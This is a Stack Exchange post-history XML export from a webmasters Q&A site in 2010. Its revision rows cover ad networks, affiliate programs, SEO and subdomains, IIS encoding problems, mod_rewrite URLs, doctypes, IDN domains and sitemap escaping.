  <row Id="8186" PostHistoryTypeId="2" PostId="4148" RevisionGUID="266b393f-ae80-4924-a00d-cd7d6a66e3b0" CreationDate="2010-10-20T23:07:55.320" UserId="2524" Text="I'd like to start putting ads on my site but _I'm quite fussy about the way things look_ so I'd like to have attractive adverts that work as a feature of the website as opposed to the nasty garish ones you occasionally see out there.&#xD;&#xA;&#xD;&#xA;BuySellAds.com do what I'm looking for.  They don't accept your site unless it gets more than 100,000 hits per month so I can't use them.  The ads on http://net.tutsplus.com/ are the sort of thing I'm looking to include in my site.&#xD;&#xA;&#xD;&#xA;What are my options here? Which companies offer this kind of service?&#xD;&#xA;&#xD;&#xA;I would use AdSense but I don't like the look of the text ads, in-fact I know that I don't even read them if I see them. I do however spend a lot of my time looking at, and clicking on, the attractive image based ads you see on sites like [smashing mag](http://www.smashingmagazine.com) and [freelance switch](http://freelanceswitch.com/)&#xD;&#xA;" />
  <row Id="8187" PostHistoryTypeId="1" PostId="4148" RevisionGUID="266b393f-ae80-4924-a00d-cd7d6a66e3b0" CreationDate="2010-10-20T23:07:55.320" UserId="2524" Text="Putting adverts on my website" />
  <row Id="8188" PostHistoryTypeId="3" PostId="4148" RevisionGUID="266b393f-ae80-4924-a00d-cd7d6a66e3b0" CreationDate="2010-10-20T23:07:55.320" UserId="2524" Text="&lt;advertising&gt;" />
  <row Id="8189" PostHistoryTypeId="2" PostId="4149" RevisionGUID="a0440c77-877b-48e9-9e5a-686833789c2c" CreationDate="2010-10-20T23:14:36.307" UserId="2592" Text="John Conde's answer, which is currently voted #1, is wrong because of an overly pedantic emphasis on PageRank, which is both a) a formula which is detailed in a publicly accessible research paper and b) Internet shorthand for &quot;the sum of all algorithms Google uses to rank pages&quot;, which is a **far** wider topic than PageRank proper.&#xD;&#xA;&#xD;&#xA;In the sense intended by a question, there is **absolutely a difference** in Google's treatment of two pages based on whether they are on the same domain or on two subdomains of that domain.&#xD;&#xA;&#xD;&#xA;One factor is what SEOs call &quot;domain authority&quot; or &quot;domain trust.&quot;  A link to any page on a domain says that the linked page is authoritative for the linked topic (the one mentioned in anchor text), **and** the linked page is authoritative for other topics, **and** that the linked domain is authoritative for other topics.  This is beyond question: it is why Wikipedia ranks for more queries than God, despite not having huge numbers of in-links to newly created articles.  It is why a popular blogger is more likely to rank for a newly created article (with no links) than an unknown blogger, even if their title and other on-page factors are identical.&#xD;&#xA;&#xD;&#xA;**In general, Google is thought to treat subdomains as having a lesser relationship than pages within a domain**: they do not fully share domain authority amongst each other.  This solves problems like the technique, prevalent a few years ago, where folks would use a profusion of automatically generated subdomains (chicago.example.com, boston.example.com, 67k examples elided, etc) to achieve higher rankings.&#xD;&#xA;&#xD;&#xA;This is one of the major reasons why SEOs advise clients to put blogs on example.com/blog rather than blog.example.com .&#xD;&#xA;&#xD;&#xA;There are also issues, particularly with major hosting companies, where particular subdomains are blessed (www.wordpress.com) and should rank extraordinarily highly, but randomblog.wordpress.com should receive almost no credit from the association with Wordpress.  One could imagine StackExchange eventually receiving similar treatment, although whether that would be determined algorithmically or by a hand-issued exception in the Googleplex is anyone's guess.&#xD;&#xA;&#xD;&#xA;As a site owner, the takeaway message for you is simple: do not use more subdomains than you can get away with.  It will cost you, by splitting your link equity and decreasing all of your pages' potential to rank." />
  <row Id="8191" PostHistoryTypeId="2" PostId="4151" RevisionGUID="53894545-962b-40cc-b948-cc71b2a0d8d3" CreationDate="2010-10-20T23:29:34.670" UserId="1757" Text="Most people prefer text ads since they're less obtrusive and don't take up any significant bandwidth. But AdSense also offers graphic ads if I'm not mistaken.&#xD;&#xA;&#xD;&#xA;Your other option is to sell your ad space manually, which is what the tutsplus sites do. However, that's a network of very large sites that has plenty of ad space as well as traffic to sell. Not many people are going to be coming to you directly for purchasing ad space if you're getting less than 100k page views per month, unless you're the dominant site in some niche market." />
  <row Id="8193" PostHistoryTypeId="5" PostId="4025" RevisionGUID="48036d84-9555-45ed-bfd5-99682c692eb9" CreationDate="2010-10-21T01:02:12.450" UserId="2288" Comment="deleted 778 characters in body; edited title" Text="This question is now a CW" />
  <row Id="8194" PostHistoryTypeId="4" PostId="4025" RevisionGUID="48036d84-9555-45ed-bfd5-99682c692eb9" CreationDate="2010-10-21T01:02:12.450" UserId="2288" Comment="deleted 778 characters in body; edited title" Text="List of stock photo sources - CW" />
  <row Id="8195" PostHistoryTypeId="5" PostId="4133" RevisionGUID="c23fe599-7582-4068-8a3f-7463a7c2b2a5" CreationDate="2010-10-21T01:07:25.140" UserId="2288" Comment="deleted 2 characters in body; edited title; added 2 characters in body; edited title" Text="Meaning: doc-type, header, body, etc." />
  <row Id="8196" PostHistoryTypeId="4" PostId="4133" RevisionGUID="c23fe599-7582-4068-8a3f-7463a7c2b2a5" CreationDate="2010-10-21T01:07:25.140" UserId="2288" Comment="deleted 2 characters in body; edited title; added 2 characters in body; edited title" Text="What is the default HTML document you use, and why?" />
  <row Id="8197" PostHistoryTypeId="2" PostId="4152" RevisionGUID="7f7c33b7-aa11-4a16-9fec-ad17157c601d" CreationDate="2010-10-21T01:12:35.120" UserId="2573" Text="Currently I am almsot done with my website to publish it.&#xD;&#xA;&#xD;&#xA;I realise I may not have enough visitors at the very begin nor clicks on links which are things I will be working on over time.&#xD;&#xA;&#xD;&#xA;I have adsense in place and was looking for more options and suggestions and since it is a Gamming website I was thinking I could use some sort of Affiliate Programs like Amazon that will display Products related to my site content like CD Games, Strategy guides, etc.&#xD;&#xA;&#xD;&#xA;I would like to know from those who used it and are far more experienced then I am:&#xD;&#xA;&#xD;&#xA; 1. **What programs are worthed using and are available to pay you with&#xD;&#xA;    paypal/gcheckout ?**&#xD;&#xA;&#xD;&#xA; 2. What should I be carefull with when&#xD;&#xA;    using those ?&#xD;&#xA;&#xD;&#xA; 3. Any other advices or ideas of what could I be using/trying ?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I am not entirely sure my Question belongs here so I kindly ask that if it does not move it and I will follow up, I am sorry for any misunderstood and my poor english." />
  <row Id="8198" PostHistoryTypeId="1" PostId="4152" RevisionGUID="7f7c33b7-aa11-4a16-9fec-ad17157c601d" CreationDate="2010-10-21T01:12:35.120" UserId="2573" Text="Should I use an Affiliate Selling program  at my website ?" />
  <row Id="8199" PostHistoryTypeId="3" PostId="4152" RevisionGUID="7f7c33b7-aa11-4a16-9fec-ad17157c601d" CreationDate="2010-10-21T01:12:35.120" UserId="2573" Text="&lt;affiliate&gt;&lt;websites&gt;" />
  <row Id="8200" PostHistoryTypeId="8" PostId="4025" RevisionGUID="1f50f75c-717d-4d3a-abe3-c7f962de2131" CreationDate="2010-10-21T01:12:46.657" UserId="2288" Comment="Rollback to [a4830802-7764-4af1-a4c6-d5e0b71365b8]" Text="Need photos for a website and the client has zero cash, What are sources of free stock photos? And how do I understand what the terms and conditions mean?&#xD;&#xA;&#xD;&#xA;**UPDATE:** Changed the title from &quot;free&quot; to &quot;free/cheap&quot;. I need an easy to use source of photos, meaning I they OWN the rights to the photos. Some stock photo websites disclaim that the have rights to the photos. Examples: SXC.hu, Bigstock (if you know of others, please comment. See comments to answers for details. Thanks!)&#xD;&#xA;&#xD;&#xA;**IMPORTANT:** SXC.hu DOES NOT own the rights to any of the photos in their index. You must get the media owner to sign a &quot;new&quot; contract just with you. That's a lot of overhead, and the only way SXC.hu gives you to contact the owner is a web-form that has no additional info on the owner than their username.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="8201" PostHistoryTypeId="7" PostId="4025" RevisionGUID="1f50f75c-717d-4d3a-abe3-c7f962de2131" CreationDate="2010-10-21T01:12:46.657" UserId="2288" Comment="Rollback to [a4830802-7764-4af1-a4c6-d5e0b71365b8]" Text="What are sources of free/cheap stock photos? (Additional requirements, read description.)" />
  <row Id="8203" PostHistoryTypeId="2" PostId="4153" RevisionGUID="adfd657f-f482-4963-a3ab-38e588474d04" CreationDate="2010-10-21T01:48:58.160" UserId="1218" Text="Consider [The Deck][1], used by a lot of fussy people, including 37signals, Daring Fireball, Kottke, and many others. It targets &quot;creative, web and design culture&quot; sites, so John Conde's question is valid.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://decknetwork.net/" />
  <row Id="8204" PostHistoryTypeId="2" PostId="4154" RevisionGUID="d12caea5-5680-481c-bf58-c314935705e6" CreationDate="2010-10-21T01:49:43.900" UserId="2594" Text="I've been using &quot;html&quot; for the doc-type for a while. HTML5 is the way of the future, even if I do prefer XML syntax and parsing." />
  <row Id="8205" PostHistoryTypeId="2" PostId="4155" RevisionGUID="d056ec87-7d38-4692-a905-ec863f89fd4f" CreationDate="2010-10-21T02:00:51.207" UserId="2594" Text="One other item to note is that you can't verify a name via credit card number either! My credit card lets me add authorized users by entering the desired name as free text, and they send it out immediately without any further verification." />
  <row Id="8206" PostHistoryTypeId="2" PostId="4156" RevisionGUID="662a596f-0d5e-45e8-83a4-c4a91a56cd87" CreationDate="2010-10-21T02:06:32.457" UserId="2594" Text="You could also do what stackoverflow does, which is a hybrid approach:&#xD;&#xA;&#xD;&#xA;    http://example.com/questions/1234/question-name-slug&#xD;&#xA;&#xD;&#xA;That way you've got a page that has the title in the url, but has a permanent piece of identifying info there as well (the question id). This way the title can be changed, and users arriving at the old URL can get redirected to the new one. In fact, you can put ANYTHING in the question title area after the question ID and arrive at a valid page. The page they serve points to the current url (including the current page title) as the canonical copy, but they don't redirect you.&#xD;&#xA;&#xD;&#xA;This approach seems to be VERY SEO friendly, while still allowing article titles to change. It might be hard to implement in drupal though. " />
  <row Id="8207" PostHistoryTypeId="2" PostId="4157" RevisionGUID="4047d456-3676-4a92-bb7b-93dd54b7b19c" CreationDate="2010-10-21T02:13:58.820" UserId="2594" Text="Anthonyg's suggestion of TheDeck is a good one. Another option to consider is [Project Wonderful][1].&#xD;&#xA;&#xD;&#xA;We really need to know more about your content. The best ad networks are very targeted for both advertisers and host sites.&#xD;&#xA;  [1]: http://www.projectwonderful.com/" />
  <row Id="8208" PostHistoryTypeId="2" PostId="4158" RevisionGUID="087d74c5-9f28-4e67-a6af-1b8df6d900f8" CreationDate="2010-10-21T02:28:06.960" UserId="17" Text="Might give **Jungle Disk** a look, just heard about it today.&#xD;&#xA;&#xD;&#xA;https://www.jungledisk.com/business/server/features/" />
  <row Id="8209" PostHistoryTypeId="2" PostId="4159" RevisionGUID="62012300-fcf4-4fdc-b5a5-2057ecc1e4d2" CreationDate="2010-10-21T04:22:34.740" UserId="2597" Text="I've used [CometChat][1] for my vBulletin forum. It works great and is really feature loaded. I have been using their video chat version and my members love it. As for your question, it integrates with username, avatar as well as friends system of vBulletin.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.cometchat.com" />
  <row Id="8210" PostHistoryTypeId="10" PostId="2957" RevisionGUID="494940ab-884e-492b-bebb-e6378a5879f0" CreationDate="2010-10-21T04:56:39.190" UserId="138" CloseReasonId="2" Text="[{&quot;Id&quot;:138,&quot;DisplayName&quot;:&quot;Farseeker&quot;}]" />
  <row Id="8212" PostHistoryTypeId="2" PostId="4160" RevisionGUID="efd74c85-0d30-4fe9-9ff5-727f5e343db5" CreationDate="2010-10-21T08:29:32.940" UserId="1314" Text="We are moving our web application from Apache 2.0 to IIS 7.&#xD;&#xA;&#xD;&#xA;Everyhing is fine with UTF-8 encoding, but just one thing.&#xD;&#xA;&#xD;&#xA;There's a flash movie in the page that reads an xml content (dynamically generated by php) which if served by Apache correctly displays french-specific characters (èé, for example), while if th same content is served by IIS 7 those characters are screwed up.&#xD;&#xA;&#xD;&#xA;&quot;Hm, server encoding&quot;, I thought. &#xD;&#xA;&#xD;&#xA;Well I put in my script the line &#xD;&#xA;&#xD;&#xA;    header('Content-Type: text/xml; charset=utf-8');&#xD;&#xA;&#xD;&#xA;before anything else; the XML content is correctly quoted with UTF-8 encoding:&#xD;&#xA;&#xD;&#xA;    $str = '&lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&gt;';&#xD;&#xA;&#xD;&#xA;and the encoding of underlying MySQL database and tables is utf8-general-ci.&#xD;&#xA;&#xD;&#xA;After that nothing changes: characters like èé are still screwed up if the XML is served through apache.&#xD;&#xA;&#xD;&#xA;What am I doing wrong?" />
  <row Id="8213" PostHistoryTypeId="1" PostId="4160" RevisionGUID="efd74c85-0d30-4fe9-9ff5-727f5e343db5" CreationDate="2010-10-21T08:29:32.940" UserId="1314" Text="IIS XML encoding seems to be wrong" />
  <row Id="8214" PostHistoryTypeId="3" PostId="4160" RevisionGUID="efd74c85-0d30-4fe9-9ff5-727f5e343db5" CreationDate="2010-10-21T08:29:32.940" UserId="1314" Text="&lt;php&gt;&lt;iis7&gt;&lt;xml&gt;&lt;content-encoding&gt;" />
  <row Id="8215" PostHistoryTypeId="2" PostId="4161" RevisionGUID="b1304613-0d34-44d8-8f70-c5b6472b309e" CreationDate="2010-10-21T08:43:21.183" UserId="1064" Text="The difference lies in Google's priorities: you may have pages in your sitemap, however, for whatever reason (be it lack of incoming links to deep content, lack of in-site links, delays in posting back index data, et cetera) Google either doesn't have the content indexed or isn't showing you what's *actually* indexed.&#xD;&#xA;&#xD;&#xA;&gt; We're aware that we sometimes return&#xD;&#xA;&gt; erroneous estimates for the number of&#xD;&#xA;&gt; results that return for a query, and&#xD;&#xA;&gt; we're working to improve these&#xD;&#xA;&gt; estimates.&#xD;&#xA;&#xD;&#xA;[Features: Incorrect search results count][1]&#xD;&#xA;&#xD;&#xA;Given that Google doesn't make it a priority to show you exactly how many pages are in its index for a given search, I'd say it's just a matter of Google failing to show you an accurate picture of its index.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/support/websearch/bin/answer.py?hl=en&amp;answer=38" />
  <row Id="8216" PostHistoryTypeId="2" PostId="4162" RevisionGUID="345e193a-b584-44bc-9561-28ef9621e90c" CreationDate="2010-10-21T09:07:51.687" UserId="89" Text="At the beginning you probably won't have enough visitors to make money at all, all ad networks and affiliate systems will only get you a ridiculously low amount of money if at all (I have a site that makes approximately $10/year from affiliate programs).&#xD;&#xA;&#xD;&#xA;I've seen recommendations to start the site with no ads and affiliate links and concentrate on building traffic (and people are more likely to recommend your site to their friends if the site looks non-commercial and is not full of ads and affiliate links), later - when you have the traffic level to support ads and affiliate links you add them.&#xD;&#xA;&#xD;&#xA;Whatever you are using, test it first on some low value page and see it doesn't hurt your user experience before rolling it out site-wide, and test the result after roll out, if it doesn't work switch to a different network.&#xD;&#xA; " />
  <row Id="8217" PostHistoryTypeId="2" PostId="4163" RevisionGUID="56933829-851f-4750-b85a-65d6310ece59" CreationDate="2010-10-21T09:15:00.257" UserDisplayName="Jack Cham" Text="Good day,&#xD;&#xA;&#xD;&#xA;My magento cannot generate reports from the admin panel. I get the following error:&#xD;&#xA;&#xD;&#xA;This report depends on timezone configuration. Once timezone is changed, the lifetime statistics need to be refreshed. Last updated: Oct 21, 2010 3:04:33 PM. To refresh last day's statistics, click here.&quot;&#xD;&#xA;&#xD;&#xA;I follow the instruction and refresh the statistics, still same problem. I confirmed the timezone is right and didn't change before...&#xD;&#xA;&#xD;&#xA;Please help.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="8218" PostHistoryTypeId="1" PostId="4163" RevisionGUID="56933829-851f-4750-b85a-65d6310ece59" CreationDate="2010-10-21T09:15:00.257" UserDisplayName="Jack Cham" Text="Magento e-Commerce cannot generate reports" />
  <row Id="8219" PostHistoryTypeId="3" PostId="4163" RevisionGUID="56933829-851f-4750-b85a-65d6310ece59" CreationDate="2010-10-21T09:15:00.257" UserDisplayName="Jack Cham" Text="&lt;ecommerce&gt;" />
  <row Id="8220" PostHistoryTypeId="2" PostId="4164" RevisionGUID="946a800a-4844-4b5e-9941-0efc931e15b1" CreationDate="2010-10-21T10:33:12.010" UserId="1064" Text="I use XHTML 1.0 Strict because (a) I edit in plain-text and I like to see my markup validate because I have a perfectionist streak, (b) get things pixel-perfect across browsers (though it's less of a problem w/the slow demise of the accursed IE5.5 - [rendering differences with whitespace][1] - need I say more?) and (c) strict markup tends to be forward-compatible (though I've got to say I'm not looking forward to the lax requirements posited by HTML5 ... [pSeUdO-CaMeLcAsE markup][2] may be &quot;valid&quot; but it isn't easy on the eyes).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.456bereastreet.com/archive/200610/closing_the_gap_between_list_items_in_ie/&#xD;&#xA;  [2]: http://en.wikipedia.org/wiki/Document_Type_Declaration#HTML5_DTD-less_DOCTYPE" />
  <row Id="8221" PostHistoryTypeId="6" PostId="4163" RevisionGUID="b2336411-aa32-4d15-9971-f70cd21e1cc7" CreationDate="2010-10-21T11:16:44.200" UserId="221" Comment="edited tags" Text="&lt;ecommerce&gt;&lt;magento&gt;" />
  <row Id="8222" PostHistoryTypeId="2" PostId="4165" RevisionGUID="e2ad554a-b704-4e2b-8035-a454b5a4395f" CreationDate="2010-10-21T12:30:37.053" UserId="1424" Text="I'm using Drupal as CMS for my websites and I was wondering if there is a way to enable dragNdrop functionalities to upload images to the website.&#xD;&#xA;&#xD;&#xA;I mean dragNdrop images into the back-end (in the browser window).&#xD;&#xA;&#xD;&#xA;If not, can I build a desktop application integrating with Drupal ? (such as. Adobe Air application.. or something else..) ?&#xD;&#xA;&#xD;&#xA;thanks" />
  <row Id="8223" PostHistoryTypeId="1" PostId="4165" RevisionGUID="e2ad554a-b704-4e2b-8035-a454b5a4395f" CreationDate="2010-10-21T12:30:37.053" UserId="1424" Text="Enabling drag and drop in my CMS (Content Management System)" />
  <row Id="8224" PostHistoryTypeId="3" PostId="4165" RevisionGUID="e2ad554a-b704-4e2b-8035-a454b5a4395f" CreationDate="2010-10-21T12:30:37.053" UserId="1424" Text="&lt;cms&gt;&lt;drupal&gt;" />
  <row Id="8225" PostHistoryTypeId="2" PostId="4166" RevisionGUID="99dd761f-4592-499e-aaa6-8d8ef4c27b0c" CreationDate="2010-10-21T12:41:33.370" UserDisplayName="matt_tm" Text="Our SEO advisors are claiming that having our URLs in the form:&#xD;&#xA;&#xD;&#xA;     www.example.com/category/subcategory/&#xD;&#xA;&#xD;&#xA;leads to better ranking in the search engines, etc., but I'm not sure if that's true/valid.&#xD;&#xA;&#xD;&#xA;Do others use this practice in their own websites?&#xD;&#xA;&#xD;&#xA;The simpler alternative for us would be to do something like:&#xD;&#xA;&#xD;&#xA;    www.example.com/showcat.php?cat=Category-SubCategory&#xD;&#xA;" />
  <row Id="8226" PostHistoryTypeId="1" PostId="4166" RevisionGUID="99dd761f-4592-499e-aaa6-8d8ef4c27b0c" CreationDate="2010-10-21T12:41:33.370" UserDisplayName="matt_tm" Text="SEO benefits of URL as: www.example.com/category/subcategory/" />
  <row Id="8227" PostHistoryTypeId="3" PostId="4166" RevisionGUID="99dd761f-4592-499e-aaa6-8d8ef4c27b0c" CreationDate="2010-10-21T12:41:33.370" UserDisplayName="matt_tm" Text="&lt;url&gt;&lt;seo&gt;&lt;url-rewriting&gt;" />
  <row Id="8228" PostHistoryTypeId="17" PostId="4166" RevisionGUID="dc989b67-42b5-465d-ac97-65969f95e4d3" CreationDate="2010-10-21T12:45:47.523" UserId="-1" Comment="from http://stackoverflow.com/questions/3987543/seo-benefits-of-url-as-www-example-com-category-subcategory" Text="" />
  <row Id="8229" PostHistoryTypeId="2" PostId="4167" RevisionGUID="168b8f88-c819-409a-80b3-376c73a02c37" CreationDate="2010-10-21T12:49:01.917" UserId="2518" Text="Yes, your SEO advisors are correct. You can actually use the &lt;a href=&quot;http://httpd.apache.org/docs/2.0/mod/mod_rewrite.html&quot;&gt;Apache Rewrite module&lt;/a&gt; to translate that SEO-friendly URL into the alternative you would prefer.  By changing the desired URL structure to `www.example.com/categories/category/subcategory/`, you can do this in your .htaccess file:&#xD;&#xA;&#xD;&#xA;RewriteRule ^categories/([^/]+)/([^/]+) showcat.php?cat=$1-$2&#xD;&#xA;&#xD;&#xA;Basically when Apache receives the request with the SEO-friendly URL, it matches that line and calls the PHP file using the structure you prefer, automagically inserting the category names.&#xD;&#xA;&#xD;&#xA;Almost every PHP CMS with SEO-friendly URLs uses mod_rewrite in some capacity.&#xD;&#xA;&#xD;&#xA;Here's a helpful guide to get you started: http://www.addedbytes.com/for-beginners/url-rewriting-for-beginners/" />
  <row Id="8230" PostHistoryTypeId="5" PostId="4160" RevisionGUID="45d90235-cb97-40a1-b794-965ae153112a" CreationDate="2010-10-21T12:56:46.227" UserId="1314" Comment="added 1 characters in body" Text="We are moving our web application from Apache 2.0 to IIS 7.&#xD;&#xA;&#xD;&#xA;Everyhing is fine with UTF-8 encoding, but just one thing.&#xD;&#xA;&#xD;&#xA;There's a flash movie in the page that reads an xml content (dynamically generated by php) which if served by Apache correctly displays french-specific characters (èé, for example), while if the same content is served by IIS 7 those characters are screwed up.&#xD;&#xA;&#xD;&#xA;&quot;Hm, server encoding&quot;, I thought. &#xD;&#xA;&#xD;&#xA;Well I put in my script the line &#xD;&#xA;&#xD;&#xA;    header('Content-Type: text/xml; charset=utf-8');&#xD;&#xA;&#xD;&#xA;before anything else; the XML content is correctly quoted with UTF-8 encoding:&#xD;&#xA;&#xD;&#xA;    $str = '&lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&gt;';&#xD;&#xA;&#xD;&#xA;and the encoding of underlying MySQL database and tables is utf8-general-ci.&#xD;&#xA;&#xD;&#xA;After that nothing changes: characters like èé are still screwed up if the XML is served through apache.&#xD;&#xA;&#xD;&#xA;What am I doing wrong?" />
  <row Id="8231" PostHistoryTypeId="2" PostId="4168" RevisionGUID="f16a1451-9efd-46d0-a8de-bbb10e3c9680" CreationDate="2010-10-21T13:57:32.480" UserId="2608" Text="+1 for 100% SLA, every mission critical application should reside at a host whom offers this.  In addition I might add that every company has fine print in between the 100% SLA.&#xD;&#xA;&#xD;&#xA;They might guarantee it on the uptime (ping) and the hardware, but the more intensive stuff comes in when they can offer a 100% SLA for the application itself.  If you would like a list of providers who can offer this sort of thing i've worked with a few I can recommend." />
  <row Id="8232" PostHistoryTypeId="2" PostId="4169" RevisionGUID="06d2c039-89d2-403f-aab6-ecc4c8f8fec7" CreationDate="2010-10-21T14:00:58.103" UserId="1953" Text="I'm working on a small project that will likely run on Wordpress, I always like to run some split testing to improve conversion rates for various goals. Typically if its a small site that I either don't have a budget for or want to keep it as inexpensive as possible I use Google Website Optimizer if I do have a budget I go with Visual Website Optimizer both are great and affordable, but for fun I was checking out alternatives and found Genetify which is an open source project and has some neat features. In searching around I don't see many people talking about it and wondered if anyone here has used it. If so what do you think about it?" />
  <row Id="8233" PostHistoryTypeId="1" PostId="4169" RevisionGUID="06d2c039-89d2-403f-aab6-ecc4c8f8fec7" CreationDate="2010-10-21T14:00:58.103" UserId="1953" Text="Has anyone used Genetify for A/B testing" />
  <row Id="8234" PostHistoryTypeId="3" PostId="4169" RevisionGUID="06d2c039-89d2-403f-aab6-ecc4c8f8fec7" CreationDate="2010-10-21T14:00:58.103" UserId="1953" Text="&lt;analytics&gt;&lt;a-b-testing&gt;&lt;open-source&gt;" />
  <row Id="8235" PostHistoryTypeId="2" PostId="4170" RevisionGUID="80a02719-4811-491c-a140-e531732208e9" CreationDate="2010-10-21T14:32:11.820" UserId="1953" Text="I'm probably only slightly more experienced then you are but here's the info I have:&#xD;&#xA;&#xD;&#xA;1. From what I've seen most Affiliate networks allow payment via PayPal, but unless you have a specific reason you can only receive payment this way I'd put the programs they offer at a higher priority then payment options (If they don't have offers that meet your needs you're not going to earn any money any way).&#xD;&#xA;&#xD;&#xA;2. I'd make sure to research available programs early on. You don't want to build a whole section or even site dedicated to one game that has no related affiliate offers. To start I'd also recommend promoting programs from well known brands (it's a lot easier to get someone to buy from Amazon.com then it is from gaming-site-no-one-has-ever-heard-of.com)&#xD;&#xA;&#xD;&#xA;3. I've not tested this myself but in reading a lot of people recommend mixing affiliate with CPA ads as it's a lot easier to get someone to fill out a form for a free whatever then it is to get someone to buy something. &#xD;&#xA;&#xD;&#xA;Hope this gives you some ideas." />
  <row Id="8238" PostHistoryTypeId="10" PostId="4166" RevisionGUID="cc54692e-acfa-4fb9-9882-76876bfc2ede" CreationDate="2010-10-21T15:28:23.530" UserId="-1" CloseReasonId="1" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;},{&quot;Id&quot;:180,&quot;DisplayName&quot;:&quot;JasonBirch&quot;}]" />
  <row Id="8239" PostHistoryTypeId="5" PostId="4166" RevisionGUID="4c105a5a-5489-437a-b687-f4789a753d26" CreationDate="2010-10-21T15:28:23.677" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [debating between different kinds of URL and see if one is more seo-friendly than other&amp;hellip; ](http://webmasters.stackexchange.com/questions/3726/debating-between-different-kinds-of-url-and-see-if-one-is-more-seo-friendly-than)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;Our SEO advisors are claiming that having our URLs in the form:&#xD;&#xA;&#xD;&#xA;     www.example.com/category/subcategory/&#xD;&#xA;&#xD;&#xA;leads to better ranking in the search engines, etc., but I'm not sure if that's true/valid.&#xD;&#xA;&#xD;&#xA;Do others use this practice in their own websites?&#xD;&#xA;&#xD;&#xA;The simpler alternative for us would be to do something like:&#xD;&#xA;&#xD;&#xA;    www.example.com/showcat.php?cat=Category-SubCategory&#xD;&#xA;" />
  <row Id="8240" PostHistoryTypeId="2" PostId="4173" RevisionGUID="b5fc36db-0a19-4bd9-bad5-d85509c5bd6b" CreationDate="2010-10-21T17:45:30.680" UserDisplayName="Julián Landerreche" Text="This answer arrives a bit late:&#xD;&#xA;&#xD;&#xA;you an use the `&lt;txp:l10n_lang_list /&gt;` tag.&#xD;&#xA;According to plugin helps, it says: &#xD;&#xA;&#xD;&#xA;&gt; On an article list page, this outputs all of the site’s available languages. On individual articles it lists only those languages the article has renditions for.&#xD;&#xA;&#xD;&#xA;Remember that section names (for URLs aren't translatable by the MLP. So /en/contact will link to /de/contact. &#xD;&#xA;On the other hand, URLs for articles are translatable." />
  <row Id="8241" PostHistoryTypeId="2" PostId="4174" RevisionGUID="9fa2cb5c-595e-48d0-bd35-0ee19f4d0e56" CreationDate="2010-10-21T18:16:31.033" UserId="706" Text="How do I write a IDN domain name with IDN codes?&#xD;&#xA;&#xD;&#xA;E.g. `mjölk.com` with IDN codes? (mjölk is milk in swedish)&#xD;&#xA;&#xD;&#xA;And is there any list of available IDN codes and letters? E.g. all possible for .com ?" />
  <row Id="8242" PostHistoryTypeId="1" PostId="4174" RevisionGUID="9fa2cb5c-595e-48d0-bd35-0ee19f4d0e56" CreationDate="2010-10-21T18:16:31.033" UserId="706" Text="How do I write IDN domains?" />
  <row Id="8243" PostHistoryTypeId="3" PostId="4174" RevisionGUID="9fa2cb5c-595e-48d0-bd35-0ee19f4d0e56" CreationDate="2010-10-21T18:16:31.033" UserId="706" Text="&lt;domains&gt;&lt;internationalization&gt;&lt;domain-names&gt;&lt;idn&gt;" />
  <row Id="8244" PostHistoryTypeId="2" PostId="4175" RevisionGUID="be48a101-9454-4254-a2b8-3ce8a4527b15" CreationDate="2010-10-21T18:18:51.787" UserId="1429" Text="Simple question, I'm asking just to make sure.&#xD;&#xA;&#xD;&#xA;A Google sitemap generator generated a sitemap.txt fle with links written like this:&#xD;&#xA;&#xD;&#xA;    http://www.domain.com/category.htm?name=some-name&amp;amp;cat_id=8&#xD;&#xA;&#xD;&#xA;is it correct to use the `&amp;amp;` in these links in place of the `&amp;` or it's just an error made by the sitemap generator?&#xD;&#xA;&#xD;&#xA;Thanks." />
  <row Id="8245" PostHistoryTypeId="1" PostId="4175" RevisionGUID="be48a101-9454-4254-a2b8-3ce8a4527b15" CreationDate="2010-10-21T18:18:51.787" UserId="1429" Text="&amp;amp; in sitemap links, are they correct?" />
  <row Id="8246" PostHistoryTypeId="3" PostId="4175" RevisionGUID="be48a101-9454-4254-a2b8-3ce8a4527b15" CreationDate="2010-10-21T18:18:51.787" UserId="1429" Text="&lt;sitemap&gt;&lt;links&gt;" />
  <row Id="8247" PostHistoryTypeId="2" PostId="4176" RevisionGUID="fe9787fc-c660-4e9c-a97c-e4e667b162ab" CreationDate="2010-10-21T18:40:06.073" UserId="1253" Text="That is correct. It is the HTML entity for an ampersand (`&amp;`) and is the proper character representation of it in a properly encoded URL. Ampersands (`&amp;`) and well as `&lt;` and `&gt;` are special characters in XML and HTML and need to be displayed using their special character entities." />
  <row Id="8248" PostHistoryTypeId="2" PostId="4177" RevisionGUID="29c4a914-84bd-4d2c-9aff-ba01ffe9a0f0" CreationDate="2010-10-21T18:41:54.427" UserId="2209" Text="Your Sitemap file must be UTF-8 encoded (you can generally do this when you save the file). As with all XML files, any data values (including URLs) must use entity escape codes for the characters. &#xD;&#xA;&#xD;&#xA;This may help out, http://sitemaps.org/protocol.php" />
